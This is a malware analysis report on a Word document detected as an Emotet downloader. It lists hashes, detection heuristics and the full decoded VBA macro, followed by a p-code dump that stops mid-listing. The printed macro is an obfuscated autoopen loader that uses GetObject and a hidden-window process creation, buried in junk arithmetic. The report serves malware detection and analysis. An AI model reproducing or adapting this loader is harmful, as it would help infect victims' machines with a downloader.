Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bcc034d3a433952d…

MALICIOUS

Office (OLE)

182.5 KB Created: 2019-03-28 12:11:00 Authoring application: Microsoft Office Word First seen: 2022-07-02
MD5: 1a9e4e8c4d4be687e6718ea47d8f7b36 SHA-1: caa55976b4939e7e6ab8e6960e9be15da6d232a1 SHA-256: bcc034d3a433952d20794ba0dfd64cbf216f9e5960160fa4b3eae62422f46101
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6915911-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6915911-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set hZBADA = GetObject(jAoAAAUU.cQABAADA.Tag + wwDAAAU1.YwXAAUB + jAoAAAUU.cQABAADA.PasswordChar)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27836 bytes
SHA-256: 8206ac17b5e33f824fe08b7d9e9e9c5f32bb111badcf3501c795bcea40ef69b0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SUA1oUA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jAoAAAUU"
Attribute VB_Base = "0{A47B6741-B00D-4B55-8CA1-C260083119C4}{F6F9139C-DB7C-42FB-82EB-2A07D20EA084}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "wwDAAAU1"
Attribute VB_Base = "0{4EE7E74E-959E-4AE3-A66F-EEA932E7F759}{2428C857-52B5-4749-B34B-8DAA1EA7DB92}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "CAA4DAU"
Function UA_QZ_()
   If vAUkAB = GAADwC Then
         nDX4_A_ = (688104598 - WcxAC_A * zB44AU * CDate(995134992))
         uXADoQ = PB4BcUU / Oct(rXZo_1A) - oAZ1o_A * CDbl(318628824) / PDDAAQ * Fix(170622870 * Log(RxBAAZoA)) / WoQB_c * Chr(151237250) * 900149291 * Sgn(GXGA_BAA / Log(927030347))
End If
   If sAwAU1 = MAcAACAA Then
         RDAxX1D = (1453336 - ScAAQQU * E4XcxBGU * CDate(591982750))
         ZxGAAwZB = OU__AAQA / Oct(cGB4AAk) - aAQkAx * CDbl(354232328) / vA1QkBAX * Fix(705437125 * Log(iAADUkAA)) / iDAUAxZ * Chr(290458042) * 334185540 * Sgn(wAUAwcQc / Log(791639010))
End If
   If SQ1AcA = tQckwQB Then
         KAZCxUG = (751389175 - SDAwAwA * tcDDZ4 * CDate(83847869))
         ZAACZZ_ = JADA1B / Oct(MABAAA) - X4kXcACU * CDbl(151320231) / AAoQQc * Fix(20422756 * Log(nAUZ4ADA)) / iAAwxA * Chr(340485134) * 563333166 * Sgn(UG_AQ_AD / Log(273539875))
End If
   If CAUUkAAA = pDoAQGA Then
         JBUAQBA = (749663611 - zx_DkQ * roU_AB1 * CDate(689963994))
         nAAQAB = ixAoXB / Oct(CUAcQkQD) - kUAQxD * CDbl(913354321) / jAAA4XAk * Fix(976837005 * Log(ikACAADC)) / twAXAAx * Chr(147071862) * 999483376 * Sgn(X4AAoAUQ / Log(695920525))
End If
   If lADDwwU = J4BAxw Then
         UABAAQDB = (756000771 - uUxAA_ * OUUkQBw * CDate(527911137))
         NA14GAUD = PcA_11A / Oct(zAUCAC) - fxBAccoZ * CDbl(868364882) / mcAAwA * Fix(291895848 * Log(wBwAZUA)) / GGADAAA * Chr(648967435) * 400633718 * Sgn(ScAZAC / Log(158327118))
End If
   If RCUXAQo = zkXQAU Then
         XAAAABCB = (7526644 - JxQ1AAUX * GA_UAAQo * CDate(168814414))
         rAADxAU = fUAoUcAB / Oct(VQoAA14U) - JUB4QA * CDbl(595955921) / BXcDGDUx * Fix(563465634 * Log(jCAA_AcU)) / WAwABo * Chr(879810525) * 441073972 * Sgn(UAAkAA_ / Log(207143835))
End If
   If RXwABU = JCX1DDA Then
         VDAADUA = (57293670 - VoDBUBQ * NG_GZUQ * CDate(536414623))
         p4xACok = z_1BXAk / Oct(T_U1QQ) - wGGA4XAA * CDbl(576953630) / CAG41U4 * Fix(34694068 * Log(NCDQGA)) / ZAZUcCA4 * Chr(45963371) * 389931454 * Sgn(HAGABCUo / Log(434572776))
End If
   If lQ4CQ_CA = SXBCAQBA Then
         YADBA_ = (244857421 - rA1C_Q * lw_Aw14k * CDate(283022064))
         cxoCXUZ1 = J1w4C4oA / Oct(UDQBGA) - HAU_QA * CDbl(778889406) / skACAAwQ * Fix(933047311 * Log(NUADA4U)) / AAAQAAA * Chr(18622373) * 718764506 * Sgn(qA4xAcAk / Log(22002999))
End If
   If JA11QBDA = l_QAB1DQ Then
         Bk1_XDX = (366737905 - b1wB4B * hxQAA_Q * CDate(178858598))
         VABQUA = mBkUGU / Oct(MAwUw1k) - EUoUBCcD * CDbl(923506032) / ZcBABQA * Fix(354352169 * Log(SD_AwD)) / Dk4kG4 * Chr(594403804) * 102652740 * Sgn(ukAAQ1AA / Log(841183881))
End If
End Function
Sub autoopen()
On Error Resume Next
   If Vx1ABB = vAADAA Then
         zAGCAZ = (508186873 - uABZUADZ * TZQAAAA * CDate(740808591))
         FZXAAoUX = wZUAGA / Oct(LAABAxA4) - NADADUU * CDbl(392799179) / dAXXUU * Fix(472562357 * Log(l4UZAZ1A)) / J4AZAACA * Chr(192308210) * 420688127 * Sgn(OAxAAC / Log(259002929))
End If
   If TA_UAAU = D1DUUk Then
         DA_AU1_ = (528634885 - sAXXAA * OAA4xB * CDate(868662169))
         VAA4w1c = JBCxcBQZ / Oct(DoBDQDA) - YA4XxAA * CDbl(105942897) / hAwAGQA * Fix(368232914 * Log(CBZA_A_B)) / bUDDAA * Chr(574111935) * 406649865 * Sgn(wABBoA / Log(852837044))
End If
Set hZBADA = GetObject(jAoAAAUU.cQABAADA.Tag + wwDAAAU1.YwXAAUB + jAoAAAUU.cQABAADA.PasswordChar)
   If QcA4CX = WDBXQo Then
         qwAAAAA = (725521507 - K1c_X4AU * nAkkAAX * CDate(650814774))
         NAX4DQB = ZAAAxcAA / Oct(MQUDXAXD) - ZAAGAA * CDbl(778405418) / SUAZAx4 * Fix(447280563 * Log(GZGXAA)) / DxooGQ4A * Chr(868433598) * 509147851 * Sgn(UwAQAZX / Log(244870477))
End If
   If ZAAx_CB = HAcAAA Then
         EUUAxcAU = (275838109 - aADcBck * iAAB_QC * CDate(819035742))
         TkUQABA = YA4XD_o / Oct(qUAADA) - lkAZAAoB * CDbl(219793569) / HAAkQAZD * Fix(971126853 * Log(GBXocA)) / CcAZBAU * Chr(959537840) * 428737907 * Sgn(SAADXwUA / Log(859450509))
End If
If 615197 = 615197 Then
   If QUQXBA = IQAAkBA Then
         DBAAUZc = (328212015 - VQXBAoA * OXA_AAQ * CDate(165699686))
         RAZxXDcB = uQB_ACA / Oct(KAocDA1x) - QADAAQC * CDbl(918544406) / nAAACA * Fix(758693379 * Log(BoAA_QQ)) / U1oDADo * Chr(715549982) * 552027824 * Sgn(kZxACC / Log(761351505))
End If
   If YBko1xQ = hBAAQZA Then
         awAB1A = (504940898 - MQAQAA * nCCD1U * CDate(343705186))
         GDwkAA = wwAAABD / Oct(bQABUUDQ) - cDwBUkXk * CDbl(405902792) / aUAAQw_D * Fix(500033334 * Log(XABBoAU)) / SckBBUDA * Chr(522621294) * 75544209 * Sgn(McxAZUoZ / Log(877957405))
End If
   If pAwDGAU = bQAZwAcU Then
         iAwxUU = (648089717 - wQZZD1D * pCAQAAk * CDate(306797753))
         VAB4AcAA = aAxXcQ / Oct(CUwkDA) - WADXoUCG * CDbl(204204184) / IQQABQx * Fix(37928884 * Log(WQ1CDADA)) / HUxQoD * Chr(388201073) * 361779293 * Sgn(ScCkAAZC / Log(379436576))
End If
hZBADA.ShOwWiNdOw = mQcZAwA + jAoAAAUU.GAQBA_ + vAAA_Ac
   If oAkA4A = UAGBAZA4 Then
         zABAAkQ = (327722533 - FAkAC4 * QoAcG4 * CDate(72730949))
         wAoBoA = uUAAcA / Oct(XQkAoowA) - iZcDAD * CDbl(977122845) / uwAwkQ4 * Fix(38654857 * Log(iAAoAw)) / FDAXwk4Z * Chr(63755469) * 226305853 * Sgn(d_kADU / Log(108318388))
End If
   If mCDCUk = S41wxQA Then
         jAc_Ax = (554342227 - voQACxDX * QQoDAAZ * CDate(573135073))
         JQCAwA = nBCQAZw / Oct(BAAkBoAZ) - wBAGAB_U * CDbl(123305685) / FABAA1QQ * Fix(194054150 * Log(iZZC_xDo)) / Wx_4UA * Chr(523609178) * 701783188 * Sgn(E4XAZG_U / Log(588360954))
End If
   If uoUQAAxA = aDBUAXA_ Then
         KwcAxDw = (357059218 - hUB4wUQ * bAccA_ * CDate(368091381))
         bAQkwk = uAQBAAA_ / Oct(Mc_QGx) - VwwDXGDC * CDbl(833053701) / bXADQZ * Fix(791965210 * Log(GZDQADk)) / nBQBDU1_ * Chr(818731623) * 559267631 * Sgn(YAG_BAZ / Log(879099343))
End If
End If
   If iX4AQB = R4A4kxB Then
         JUADUUD = (281670414 - zwBAxCA * dDU_BA * CDate(299429173))
         NAAAAwCC = IAwAQA / Oct(nCAGBB) - NQCwAk * CDbl(896567467) / D1D_AG * Fix(68895539 * Log(zAAxBX)) / cQZ41A * Chr(208060758) * 715291391 * Sgn(zUQAAA / Log(311338075))
End If
   If iABDDwX4 = tA14GGQ Then
         RAkZ4x = (334885499 - EDDXQxo * rBBAAB * CDate(376168663))
         AAAAkC = a_AcAA1A / Oct(AGcAU4U) - jDABkoA * CDbl(319535134) / nAUcxZAA * Fix(270164482 * Log(OAAADxkA)) / wADZGD * Chr(913333073) * 37315491 * Sgn(VZDQU4 / Log(687015146))
End If
Call GetObject(jAoAAAUU.cQABAADA.Tag + wwDAAAU1.YAUXAGA + jAoAAAUU.cQABAADA.Tag).Create((jAoAAAUU.cQABAADA + wwDAAAU1.pDUAXw + jAoAAAUU.cQABAADA.Tag + wwDAAAU1.iAXCkAA + jAoAAAUU.cQABAADA.PasswordChar + jAoAAAUU.cQABAADA.Text + wwDAAAU1.qwADDXA + jAoAAAUU.cQABAADA.PasswordChar + jAoAAAUU.cQABAADA.Text + wwDAAAU1.loD1ok + jAoAAAUU.cQABAADA.Tag + wwDAAAU1.JxBAQw + jAoAAAUU.cQABAADA.Text), rAAX4AB, hZBADA, jAoAAAUU.cQABAADA)
   If lxQQQAw_ = YAAAA4wo Then
         WBXAGAA = (219799849 - KUwUDxX * OQAAAU_A * CDate(403813985))
         bwAA_oA = UAxAA4AA / Oct(mAZXUUUA) - LAUABCC * CDbl(470127916) / YX_B1x * Fix(761595146 * Log(GGAwUBAx)) / FD_D1GD * Chr(861419038) * 113215880 * Sgn(h1ADwBCG / Log(899994028))
End If
   If dBUxwwAU = FkBXAAAw Then
         W1AAAGAA = (320091676 - PoAAwAB * XCwcwwDx * CDate(997541261))
         XQAQAD = bCADG1A / Oct(vQZZ_AU) - oAw1AA * CDbl(181078193) / oAAxAQ * Fix(255660999 * Log(UBQUAC)) / YAAcZx * Chr(36872178) * 176046912 * Sgn(TwUQAAA / Log(24306192))
End If
   If LAUUAAC = zUAUAB Then
         KAAAwQ4 = (577481264 - jUwkB_ * l4GUBAc * CDate(531528219))
         mAcAcB = V4cCAAAA / Oct(CBAAGUk) - YAAQGXAB * CDbl(782492737) / nGwAAABA * Fix(792034729 * Log(HcBZAkB)) / okBUB4 * Chr(840984193) * 317003894 * Sgn(P1w_GU4 / Log(509321376))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/a4d475c18ce342f29be80e3242c042a5.bin
' ===============================================================================
' Module streams:
' Macros/VBA/SUA1oUA - 1105 bytes
' Macros/VBA/jAoAAAUU - 1159 bytes
' Macros/VBA/wwDAAAU1 - 1158 bytes
' Macros/VBA/CAA4DAU - 12125 bytes
' Line #0:
' 	FuncDefn (Function CAA4DAU())
' Line #1:
' 	Ld UA_QZ_ 
' 	Ld vAUkAB 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LitDI4 0xA496 0x2903 
' 	Ld nDX4_A_ 
' 	Ld WcxAC_A 
' 	Mul 
' 	LitDI4 0x8E10 0x3B50 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St GAADwC 
' Line #3:
' 	Ld uXADoQ 
' 	Ld PB4BcUU 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld rXZo_1A 
' 	LitDI4 0xE3D8 0x12FD 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld oAZ1o_A 
' 	Div 
' 	LitDI4 0x7F96 0x0A2B 
' 	Ld PDDAAQ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld RxBAAZoA 
' 	Div 
' 	LitDI4 0xB282 0x0903 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x302B 0x35A7 
' 	Mul 
' 	Ld WoQB_c 
' 	LitDI4 0x5C4B 0x3741 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St zB44AU 
' Line #4:
' 	EndIfBlock 
' Line #5:
' 	Ld GXGA_BAA 
' 	Ld sAwAU1 
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitDI4 0x2D18 0x0016 
' 	Ld RDAxX1D 
' 	Ld ScAAQQU 
' 	Mul 
' 	LitDI4 0xF09E 0x2348 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St MAcAACAA 
' Line #7:
' 	Ld ZxGAAwZB 
' 	Ld OU__AAQA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld cGB4AAk 
' 	LitDI4 0x2808 0x151D 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld aAQkAx 
' 	Div 
' 	LitDI4 0x1DC5 0x2A0C 
' 	Ld vA1QkBAX 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld iAADUkAA 
' 	Div 
' 	LitDI4 0x09BA 0x1150 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x4444 0x13EB 
' 	Mul 
' 	Ld iDAUAxZ 
' 	LitDI4 0x73E2 0x2F2F 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St E4XcxBGU 
' Line #8:
' 	EndIfBlock 
' Line #9:
' 	Ld wAUAwcQc 
' 	Ld SQ1AcA 
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitDI4 0x49F7 0x2CC9 
' 	Ld KAZCxUG 
' 	Ld SDAwAwA 
' 	Mul 
' 	LitDI4 0x6ABD 0x04FF 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St tQckwQB 
' Line #11:
' 	Ld ZAACZZ_ 
' 	Ld JADA1B 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld MABAAA 
' 	LitDI4 0xF6A7 0x0904 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld X4kXcACU 
' 	Div 
' 	LitDI4 0xA064 0x0137 
' 	Ld AAoQQc 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld nAUZ4ADA 
' 	Div 
' 	LitDI4 0x640E 0x144B 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xC82E 0x2193 
' 	Mul 
' 	Ld iAAwxA 
' 	LitDI4 0xE323 0x104D 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St tcDDZ4 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld UG_AQ_AD 
' 	Ld CAUUkAAA 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitDI4 0xF57B 0x2CAE 
' 	Ld JBUAQBA 
' 	Ld zx_DkQ 
' 	Mul 
' 	LitDI4 0x03DA 0x2920 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St pDoAQGA 
' Line #15:
' 	Ld nAAQAB 
' 	Ld ixAoXB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld CUAcQkQD 
' 	LitDI4 0xAE51 0x3670 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld kUAQxD 
' 	Div 
' 	LitDI4 0x598D 0x3A39 
' 	Ld jAAA4XAk 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld ikACAADC 
' 	Div 
' 	LitDI4 0x2376 0x08C4 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xE7F0 0x3B92 
' 	Mul 
' 	Ld twAXAAx 
' 	LitDI4 0xE78D 0x297A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St roU_AB1 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld X4AAoAUQ 
' 	Ld lADDwwU 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitDI4 0xA803 0x2D0F 
' 	Ld UABAAQDB 
' 	Ld uUxAA_ 
' 	Mul 
' 	LitDI4 0x48E1 0x1F77 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St J4BAxw 
' Line #19:
' 	Ld NA14GAUD 
' 	Ld PcA_11A 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld zAUCAC 
' 	LitDI4 0x3252 0x33C2 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld fxBAccoZ 
' 	Div 
' 	LitDI4 0xFA28 0x1165 
' 	Ld mcAAwA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld wBwAZUA 
' 	Div 
' 	LitDI4 0x750B 0x26AE 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x2F76 0x17E1 
' 	Mul 
' 	Ld GGADAAA 
' 	LitDI4 0xE14E 0x096F 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St OUUkQBw 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld ScAZAC 
' 	Ld RCUXAQo 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LitDI4 0xD8F4 0x0072 
' 	Ld XAAAABCB 
' 	Ld JxQ1AAUX 
' 	Mul 
' 	LitDI4 0xE74E 0x0A0F 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St zkXQAU 
' Line #23:
' 	Ld rAADxAU 
' 	Ld fUAoUcAB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld VQoAA14U 
' 	LitDI4 0x90D1 0x2385 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld JUB4QA 
' 	Div 
' 	LitDI4 0xCDA2 0x2195 
' 	Ld BXcDGDUx 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld jCAA_AcU 
' 	Div 
' 	LitDI4 0xD7DD 0x3470 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x4134 0x1A4A 
' 	Mul 
' 	Ld WAwABo 
' 	LitDI4 0xC39B 0x0C58 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St GA_UAAQo 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld UAAkAA_ 
' 	Ld RXwABU 
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI4 0x3B66 0x036A 
' 	Ld VDAADUA 
' 	Ld VoDBUBQ 
' 	Mul 
' 	LitDI4 0x099F 0x1FF9 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St JCX1DDA 
' Line #27:
' 	Ld p4xACok 
' 	Ld z_1BXAk 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld T_U1QQ 
' 	LitDI4 0x9D1E 0x2263 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld wGGA4XAA 
' 	Div 
' 	LitDI4 0x63B4 0x0211 
' 	Ld CAG41U4 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld NCDQGA 
' 	Div 
' 	LitDI4 0x586B 0x02BD 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xE1BE 0x173D 
' 	Mul 
' 	Ld ZAZUcCA4 
' 	LitDI4 0x0DE8 0x19E7 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St NG_GZUQ 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld HAGABCUo 
' 	Ld lQ4CQ_CA 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	LitDI4 0x3A4D 0x0E98 
' 	Ld YADBA_ 
' 	Ld rA1C_Q 
' 	Mul 
' 	LitDI4 0x92F0 0x10DE 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St SXBCAQBA 
' Line #31:
' 	Ld cxoCXUZ1 
' 	Ld J1w4C4oA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld UDQBGA 
' 	LitDI4 0xE8BE 0x2E6C 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld HAU_QA 
' 	Div 
' 	LitDI4 0x2C0F 0x379D 
' 	Ld skACAAwQ 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld NUADA4U 
' 	Div 
' 	LitDI4 0x27A5 0x011C 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x79DA 0x2AD7 
' 	Mul 
' 	Ld AAAQAAA 
' 	LitDI4 0xBD37 0x014F 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St lw_Aw14k 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	Ld qA4xAcAk 
' 	Ld JA11QBDA 
' 	Eq 
' 	IfBlock 
' Line #34:
' 	LitDI4 0xF9F1 0x15DB 
' 	Ld Bk1_XDX 
' 	Ld b1wB4B 
' 	Mul 
' 	LitDI4 0x2A66 0x0AA9 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St l_QAB1DQ 
' Line #35:
' 	Ld VABQUA 
' 	Ld mBkUGU 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld MAwUw1k 
' 	LitDI4 0x9570 0x370B 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld EUoUBCcD 
' 	Div 
' 	LitDI4 0xFC29 0x151E 
' 	Ld ZcBABQA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld SD_AwD 
' 	Div 
' 	LitDI4 0xE1DC 0x236D 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x5B44 0x061E 
' 	Mul 
' 	Ld Dk4kG4 
' 	LitDI4 0x7289 0x3223 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St hxQAA_Q 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	EndFunc 
' Line #38:
' 	FuncDefn (Sub ukAAQ1AA())
' Line #39:
' 	OnError (Resume Next) 
' Line #40:
' 	Ld autoopen 
' 	Ld Vx1ABB 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	LitDI4 0x50F9 0x1E4A 
' 	Ld zAGCAZ 
' 	Ld uABZUADZ 
' 	Mul 
' 	LitDI4 0xD78F 0x2C27 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St vAADAA 
' Line #42:
' 	Ld FZXAAoUX 
' 	Ld wZUAGA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld LAABAxA4 
' 	LitDI4 0xA3CB 0x1769 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld NADADUU 
' 	Div 
' 	LitDI4 0xBAB5 0x1C2A 
' 	Ld dAXXUU 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld l4UZAZ1A 
' 	Div 
' 	LitDI4 0x63F2 0x0B76 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x30FF 0x1913 
' 	Mul 
' 	Ld J4AZAACA 
' 	LitDI4 0x1231 0x0F70 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St TZQAAAA 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	Ld OAxAAC 
' 	Ld TA_UAAU 
' 	Eq 
' 	IfBlock 
' Line #45:
' 	LitDI4 0x5405 0x1F82 
' 	Ld DA_AU1_ 
' 	Ld sAXXAA 
' 	Mul 
' 	LitDI4 0xBB99 0x33C6 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St D1DUUk 
' Line #46:
' 	Ld VAA4w1c 
' 	Ld JBCxcBQZ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld DoBDQDA 
' 	LitDI4 0x8F71 0x0650 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld YA4XxAA 
' 	Div 
' 	LitDI4 0xC9D2 0x15F2 
' 	Ld hAwAGQA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld CBZA_A_B 
' 	Div 
' 	LitDI4 0x40BF 0x2238 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xFC09 0x183C 
' 	Mul 
' 	Ld bUDDAA 
' 	LitDI4 0x42B4 0x32D5 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St OAA4xB 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	SetStmt 
' 	Ld wwDAAAU1 
' 	MemLd GetObject 
' 	MemLd cQABAADA 
' 	Ld MSForms 
' 	MemLd Tag 
' 	Add 
' 	Ld wwDAAAU1 
' 	MemLd GetObject 
' 	MemLd YwXAAUB 
' 	Add 
' 	ArgsLd hZBADA 0x0001 
' 	Set wABBoA 
' Line #49:
' 	Ld PasswordChar 
' 	Ld QcA4CX 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	LitDI4 0x9463 0x2B3E 
' 	Ld qwAAAAA 
' 	Ld K1c_X4AU 
' 	Mul 
' 	LitDI4 0xA536 0x26CA 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St WDBXQo 
' Line #51:
' 	Ld NAX4DQB 
' 	Ld ZAAAxcAA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld MQUDXAXD 
' 	LitDI4 0x862A 0x2E65 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld ZAAGAA 
' 	Div 
' 	LitDI4 0xF5B3 0x1AA8 
' 	Ld SUAZAx4 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld GZGXAA 
' 	Div 
' 	LitDI4 0x3EBE 0x33C3 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xFACB 0x1E58 
' 	Mul 
' 	Ld DxooGQ4A 
' 	LitDI4 0x6D4D 0x0E98 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St nAkkAAX 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	Ld UwAQAZX 
' 	Ld ZAAx_CB 
' 	Eq 
' 	IfBlock 
' Line #54:
' 	LitDI4 0xF49D 0x1070 
' 	Ld EUUAxcAU 
' 	Ld aADcBck 
' 	Mul 
' 	LitDI4 0x7E5E 0x30D1 
' 	Coerce (Date) 
' 	Mul 
